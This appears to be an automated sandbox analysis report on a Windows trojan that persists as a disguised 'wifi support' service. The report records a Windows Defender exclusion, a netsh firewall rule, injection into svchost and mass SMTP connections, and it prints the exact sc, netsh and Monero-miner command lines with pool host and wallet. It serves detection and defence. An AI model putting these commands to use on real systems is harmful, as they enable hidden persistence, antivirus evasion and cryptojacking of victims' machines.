Trojan.Siggen17.31589

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\snflnjwm] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\snflnjwm] 'ImagePath' = '%WINDIR%\SysWOW64\snflnjwm\zlwuugwy.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\snflnjwm] 'ImagePath' = '%WINDIR%\SysWOW64\snflnjwm\zlwuugwy.exe'

Creates the following services

'snflnjwm' %WINDIR%\SysWOW64\snflnjwm\zlwuugwy.exe /d"<Full path to file>"
'snflnjwm' %WINDIR%\SysWOW64\snflnjwm\zlwuugwy.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\snflnjwm' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\zlwuugwy.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\zlwuugwy.exe to %WINDIR%\syswow64\snflnjwm\zlwuugwy.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'ma##.outlok.com':25
'mx#######601.gslb.pphosted.com':25
'mx.######mail.rediff.akadns.net':25
'ma##.gamil.com':25
'ma##.#hinhan.com':25
'na#.###.#rotection.outlook.com':25
'mx######5eb03.pphosted.com':25
'sm##.#opmail.com':25
'mx.##ndgrid.net':25
'pu######1.mail2world.com':25
'mx#######c01.gslb.pphosted.com':25
'mx#.####te.mail2world.com':25
'mx.#p.pl':25
'ma##.##errillamail.com':25
'sm####.raymondjames.ca':25
'mx#######e01.gslb.pphosted.com':25
'xm###chool.cf':2222
'mx####.##il.gm0.yahoodns.net':25
'mx#######902.gslb.pphosted.com':25
'mx#######201.gslb.pphosted.com':25
'mx.#####.#om.cust.b.hostedemail.com':25
'mx#.####497.c3s2.iphmx.com':25
'mx#######b02.gslb.pphosted.com':25
'mx#########st-2.prod.hydra.sophos.com':25
'mx#######f01.gslb.pphosted.com':25
'mx#.##esa.iphmx.com':25
'al######x-vip1.prodigy.net':25
'mx#######301.gslb.pphosted.com':25
'mx###.mb5p.com':25
'sm#####.hosting.orange.pl':25
'ma##.b-io.co':25
're###.epik.com':25
'tr####rocure.com':25
'tm########ics.com.1.0001.arsmtp.com':25
'as#####ps03.suth.com':25
'mm####1.ioioleo.com':25
'mx#######701.gslb.pphosted.com':25
'mx#######c02.gslb.pphosted.com':25
'ye######.mxmail.netease.com':25
'gm###.##m.1.0001.arsmtp.com':25
'cu#######-2.in.mailcontrol.com':25
'pk#####.#sg.pkvw.co.charter.net':25
'mx#######f02.gslb.pphosted.com':25
'mx.###zta.onet.pl':25
'pa####x.above.com':25
'gmail-smtp-in.l.google.com':25
'mx#####.eu.retarus.com':25
'mx.##.##mail.iss.as9143.net':25
'mx#.my.com':25
'sm#####.technicatome.com':25
'mx#######c04.gslb.pphosted.com':25
'mx######28103.pphosted.com':25
'ma##.#rashymail.com':25
'fr#####.#inamail.sina.com.cn':25
'31######.in1.mandrillapp.com':25
'mx##.mb5p.com':25
'in######.messagingengine.com':25
'ma##.##ainpicture.com':25
'mx#######b01.gslb.pphosted.com':25
'mx#######c03.gslb.pphosted.com':25
'ca############rs-com.mail.protection.outlook.com':25
'sc#####.com.1.arsmtp.com':25
'mi#.#hevron.com':25
'sp##.#ctvohio.com':25
'mx##.mail.com':25
'ma##.#onpromos.com':25
'ma##.#-email.net':25
'mx#.##aroutes.com':25
'aspmx.l.google.com':25
'mx#.#anmail.net':25
'mx###.comcast.net':25
'mx###.m2bp.com':25
'google.com':80
'62.##4.41.49':422
'62.##4.41.50':422
'91.#43.33.5':422
'62.##4.41.48':422
'62.##4.41.47':422
'62.##4.41.46':422
'mx#.#ate.com':25
'as###.daum.net':25
'mx#######501.gslb.pphosted.com':25
'fo#######.nexbankcapital.com':25
'mx####.#egamailservers.com':25
'mx#.#aver.com':25
'mx###1.qq.com':25
'mx##.###us-vadesecure.net':25
'62.##4.41.45':486
'ni###eimr.cn':443
'ex##########om.mail.protection.outlook.com':25
'mx##.#ocospace.com':25
'ma##.mt2009.com':25
'em##.freenet.de':25
'mx##.##il.icloud.com':25
'ga####ys1.aep.com':25
'mx####.carrierzone.com':25
'mx#######101.gslb.pphosted.com':25
'mx#######005.gslb.pphosted.com':25
'mx.#oip.com':25
'mx#######001.gslb.pphosted.com':25
'd2#####.#.#ss.uk.barracudanetworks.com':25
'r-####3.korea.com':25
'mx#######401.gslb.pphosted.com':25
'ma###.hsbcpb.com':25
'ma#####1.yhotmail.co.uk':25
'mx######91d01.pphosted.com':25
'ma##.zed.com.au':25
'mx#.##mc.iphmx.com':25
'mx#.#harter.net':25
'mx####l2.epbfi.com':25
'ma##.#indigeno.com':25
'pr####oint4.sfu.ca':25
'ff######x-vip1.prodigy.net':25
'sm###in.sfr.fr':25
'mx#.###rbucks.iphmx.com':25
'ma##.#ailerhost.net':25
'mt##.##0.yahoodns.net':25
'sp##.#whitech.com':25
'yw###.###.mx1.greymail.rcimx.net':25
'mx#.#mpal.com':25
'so####2.sohu.com':25
'mx#.##ailsrvr.com':25

TCP

HTTP GET requests

http://www.google.com/

Other

'ni###eimr.cn':443
'mx#.####497.c3s2.iphmx.com':25
'xm###chool.cf':2222
'mx####.##il.gm0.yahoodns.net':25
'ma##.##errillamail.com':25
'mx#.####te.mail2world.com':25
'mx.##ndgrid.net':25
'sm##.#opmail.com':25
'na#.###.#rotection.outlook.com':25
'mx#######b01.gslb.pphosted.com':25
'al######x-vip1.prodigy.net':25
'ma##.gamil.com':25
'alt2.aspmx.l.google.com':25
'mx.######mail.rediff.akadns.net':25
'mx#.##esa.iphmx.com':25
'mx#########st-2.prod.hydra.sophos.com':25
'ma##.outlok.com':25
'ma##.##ainpicture.com':25
'mm####1.ioioleo.com':25
'mx#######701.gslb.pphosted.com':25
'ye######.mxmail.netease.com':25
'cu#######-2.in.mailcontrol.com':25
'gm###.##m.1.0001.arsmtp.com':25
'mt##.##0.yahoodns.net':25
'pa####x.above.com':25
'mx.###zta.onet.pl':25
'gmail-smtp-in.l.google.com':25
'mx#.my.com':25
'fr#####.#inamail.sina.com.cn':25
'sm#####.technicatome.com':25
'in######.messagingengine.com':25
'31######.in1.mandrillapp.com':25
'mx####.carrierzone.com':25
'ma##.zed.com.au':25
'ca############rs-com.mail.protection.outlook.com':25
'62.##4.41.46':422
'62.##4.41.48':422
'62.##4.41.47':422
'62.##4.41.50':422
'91.#43.33.5':422
'62.##4.41.49':422
'mx###1.qq.com':25
'as###.daum.net':25
'mx#.#aver.com':25
'mx####.#egamailservers.com':25
'fo#######.nexbankcapital.com':25
'aspmx.l.google.com':25
'mx#.#anmail.net':25
'mx#.##aroutes.com':25
'62.##4.41.45':486
'mx###.m2bp.com':25
'r-####3.korea.com':25
'alt1.aspmx.l.google.com':25
'ma##.#-email.net':25
'ma##.#onpromos.com':25
'sp##.#ctvohio.com':25
'sc#####.com.1.arsmtp.com':25
'ex##########om.mail.protection.outlook.com':25
'mx#####.eu.retarus.com':25
'mx##.#ocospace.com':25
'tm########ics.com.1.0001.arsmtp.com':25
'ff######x-vip1.prodigy.net':25
'ma###.hsbcpb.com':25
'ma#####1.yhotmail.co.uk':25
'd2#####.#.#ss.uk.barracudanetworks.com':25
'ma##.mt2009.com':25
'sp##.#whitech.com':25
'mx#.##ailsrvr.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK mx######5eb03.pphosted.com
DNS ASK wi###wslive.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK e-##s.com
DNS ASK sh##han.com
DNS ASK ma##.#hinhan.com
DNS ASK ov####npayroll.com
DNS ASK mx##.e-hps.com
DNS ASK ao#.edu.in
DNS ASK da##.net
DNS ASK ga##l.com
DNS ASK ma##.gamil.com
DNS ASK alt2.aspmx.l.google.com
DNS ASK re###fmail.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK bw####gngroup.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK or###ollege.fr
DNS ASK ma##.b-io.co
DNS ASK gi##l.com
DNS ASK mc###nwg.com
DNS ASK mx###.mb5p.com
DNS ASK vr##y.org
DNS ASK mx#######c03.gslb.pphosted.com
DNS ASK gm##l.com
DNS ASK mc##nn.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK hs#.org.uk
DNS ASK ma##.outlok.com
DNS ASK ou##ok.com
DNS ASK ti###orks.com
DNS ASK pl###picture.de
DNS ASK we##hco.com
DNS ASK di###phone.com
DNS ASK sm##.#opmail.com
DNS ASK mx#.####497.c3s2.iphmx.com
DNS ASK ly##s.com
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK ve##zon.com
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK ca###mail.com
DNS ASK an##ter.com
DNS ASK ss##sp.org
DNS ASK ho###iol.com
DNS ASK ro#####dcasualty.com
DNS ASK mx#######902.gslb.pphosted.com
DNS ASK be##buy.com
DNS ASK ve##zon.net
DNS ASK xm###chool.cf
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK we###oint.com
DNS ASK ra###ndjames.ca
DNS ASK mx.##ndgrid.net
DNS ASK by#m.de
DNS ASK pu######1.mail2world.com
DNS ASK ma####owgirl.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK on##k.com
DNS ASK ex##te.it
DNS ASK mx#.####te.mail2world.com
DNS ASK mx.#p.pl
DNS ASK wp.pl
DNS ASK ma##.##errillamail.com
DNS ASK sh###lasers.com
DNS ASK sm####.raymondjames.ca
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK yo##ail.com
DNS ASK ma##.##ainpicture.com
DNS ASK op###mail.com
DNS ASK in######.messagingengine.com
DNS ASK mx#######c02.gslb.pphosted.com
DNS ASK ax#.fr
DNS ASK ye######.mxmail.netease.com
DNS ASK ye##.net
DNS ASK fr###iernet.net
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK co###serve.com
DNS ASK cu#######-2.in.mailcontrol.com
DNS ASK ro#####rt-societe.com
DNS ASK pk#####.#sg.pkvw.co.charter.net
DNS ASK ad###hia.net
DNS ASK ko##xis.com
DNS ASK mx.###zta.onet.pl
DNS ASK gm###.##m.1.0001.arsmtp.com
DNS ASK mx#.##ailsrvr.com
DNS ASK io##leo.com
DNS ASK is##et.net
DNS ASK sm#####.hosting.orange.pl
DNS ASK or##ge.pl
DNS ASK re###.epik.com
DNS ASK re###mail.com
DNS ASK an###mize.com
DNS ASK vp.pl
DNS ASK en##e.com
DNS ASK as#####ps03.suth.com
DNS ASK tm####tronics.com
DNS ASK su#####andglobal.com
DNS ASK ha##eil.net
DNS ASK pe###epc.com
DNS ASK de#####chizeboyz.com
DNS ASK tm########ics.com.1.0001.arsmtp.com
DNS ASK mm####1.ioioleo.com
DNS ASK sb###obal.net
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK pf##er.com
DNS ASK be####uschool.com
DNS ASK ge##l.com
DNS ASK dr###ero.info
DNS ASK mx##.mb5p.com
DNS ASK ft##net.de
DNS ASK ce#####iens-nantes.net
DNS ASK wa##a.com
DNS ASK 31######.in1.mandrillapp.com
DNS ASK ma##.#rashymail.com
DNS ASK si####fiedlogic.com
DNS ASK jc##s.org
DNS ASK si##.com
DNS ASK fr#####.#inamail.sina.com.cn
DNS ASK li###aters.com
DNS ASK pi####cookers.com
DNS ASK vi###nmedia.com
DNS ASK bl###iary.club
DNS ASK th####nreuters.com
DNS ASK fi##tam.com
DNS ASK pa####x.above.com
DNS ASK no##ar.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK ed##c.com
DNS ASK mx#####.eu.retarus.com
DNS ASK mx######28103.pphosted.com
DNS ASK ze##s.com
DNS ASK tr###ymail.com
DNS ASK mx#.my.com
DNS ASK my.com
DNS ASK sm#####.technicatome.com
DNS ASK te####catome.com
DNS ASK mx#######c04.gslb.pphosted.com
DNS ASK mx.##.##mail.iss.as9143.net
DNS ASK tr####rocure.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK in######esolutionsdfw.com
DNS ASK ma##.#-email.net
DNS ASK ht#s.us
DNS ASK alt1.aspmx.l.google.com
DNS ASK sb###bal.net
DNS ASK co###omos.com
DNS ASK ma##.#onpromos.com
DNS ASK ma##.com
DNS ASK mx##.mail.com
DNS ASK ss##et.com
DNS ASK sp##.#ctvohio.com
DNS ASK ch##ron.com
DNS ASK mi#.#hevron.com
DNS ASK ex###ncorp.com
DNS ASK ex##########om.mail.protection.outlook.com
DNS ASK sc##cpa.com
DNS ASK sc#####.com.1.arsmtp.com
DNS ASK mo###pace.com
DNS ASK bo##e.com
DNS ASK ma##.#ailerhost.net
DNS ASK co###egold.us
DNS ASK mt##.##0.yahoodns.net
DNS ASK ro###tmail.com
DNS ASK yw###.###.mx1.greymail.rcimx.net
DNS ASK mx#.#mpal.com
DNS ASK yw##e.com
DNS ASK em##l.com
DNS ASK em##.freenet.de
DNS ASK fr##net.de
DNS ASK sp##.#whitech.com
DNS ASK sw###ech.com
DNS ASK mx##.#ocospace.com
DNS ASK st###ucks.com
DNS ASK ht###l.co.uk
DNS ASK mx#.##aroutes.com
DNS ASK wa##ins.com
DNS ASK ni###eimr.cn
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK ea###link.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK qn#.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK mx###1.qq.com
DNS ASK ne##ank.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK fo#######.nexbankcapital.com
DNS ASK na##r.com
DNS ASK mx#.#aver.com
DNS ASK sa##tel.net
DNS ASK mx####.#egamailservers.com
DNS ASK am###trade.com
DNS ASK te##s.net
DNS ASK mx#.#anmail.net
DNS ASK ha##ail.net
DNS ASK mx###.comcast.net
DNS ASK co##ast.net
DNS ASK mx###.m2bp.com
DNS ASK google.com
DNS ASK ho###olar.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK mx#.#ate.com
DNS ASK na##.com
DNS ASK as###.daum.net
DNS ASK pa##n.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK aspmx.l.google.com
DNS ASK mx#.###rbucks.iphmx.com
DNS ASK no#s.fr
DNS ASK sm###in.sfr.fr
DNS ASK mx##.##il.icloud.com
DNS ASK ic##ud.com
DNS ASK so####2.sohu.com
DNS ASK so##.com
DNS ASK ga####ys1.aep.com
DNS ASK ma##.mt2009.com
DNS ASK ae#.com
DNS ASK at###obal.net
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK ok##s.org
DNS ASK mx#######005.gslb.pphosted.com
DNS ASK al###ate.com
DNS ASK ct##ter.com
DNS ASK mx####.carrierzone.com
DNS ASK ho###ilmail.com
DNS ASK be###outh.com
DNS ASK mx#########st-2.prod.hydra.sophos.com
DNS ASK rp##05.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK ae###ins.com
DNS ASK mx#.##esa.iphmx.com
DNS ASK ad##a.com
DNS ASK ap##x.com
DNS ASK mt##09.com
DNS ASK at#.net
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK fa##ers.com
DNS ASK me.com
DNS ASK ca############rs-com.mail.protection.outlook.com
DNS ASK ca#####employers.com
DNS ASK al######x-vip1.prodigy.net
DNS ASK am###canhm.com
DNS ASK ho###ail.com
DNS ASK sf##.org
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK ti##jo.com
DNS ASK sw##ll.net
DNS ASK ff######x-vip1.prodigy.net
DNS ASK sf#.ca
DNS ASK pr####oint4.sfu.ca
DNS ASK vi###geno.com
DNS ASK ab##tt.com
DNS ASK ma##.#indigeno.com
DNS ASK ti####egional.com
DNS ASK ep##i.com
DNS ASK mx####l2.epbfi.com
DNS ASK ch##ter.net
DNS ASK mx#.#harter.net
DNS ASK ze#.com.au
DNS ASK ja###rumsey.net
DNS ASK ma###.hsbcpb.com
DNS ASK mx#.##mc.iphmx.com
DNS ASK mx######91d01.pphosted.com
DNS ASK ap#.com
DNS ASK te##nos.com
DNS ASK mx.#oip.com
DNS ASK gr#####electronics.com
DNS ASK d2#####.#.#ss.uk.barracudanetworks.com
DNS ASK cr####dunnill.co.uk
DNS ASK at#.com
DNS ASK r-####3.korea.com
DNS ASK ma##.zed.com.au
DNS ASK hs##pb.com
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK ba###ville.com
DNS ASK ma#####1.yhotmail.co.uk
DNS ASK yh###ail.co.uk
DNS ASK ko##a.com
DNS ASK ci####lufkin.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\snflnjwm\zlwuugwy.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\snflnjwm\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zlwuugwy.exe" %WINDIR%\SysWOW64\snflnjwm\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create snflnjwm binPath= "%WINDIR%\SysWOW64\snflnjwm\zlwuugwy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description snflnjwm "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start snflnjwm' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\snflnjwm\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\zlwuugwy.exe" %WINDIR%\SysWOW64\snflnjwm\
'%WINDIR%\syswow64\sc.exe' create snflnjwm binPath= "%WINDIR%\SysWOW64\snflnjwm\zlwuugwy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description snflnjwm "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start snflnjwm
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o xmr-school.cf:2222 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+50000 -p x -k -a cn/half

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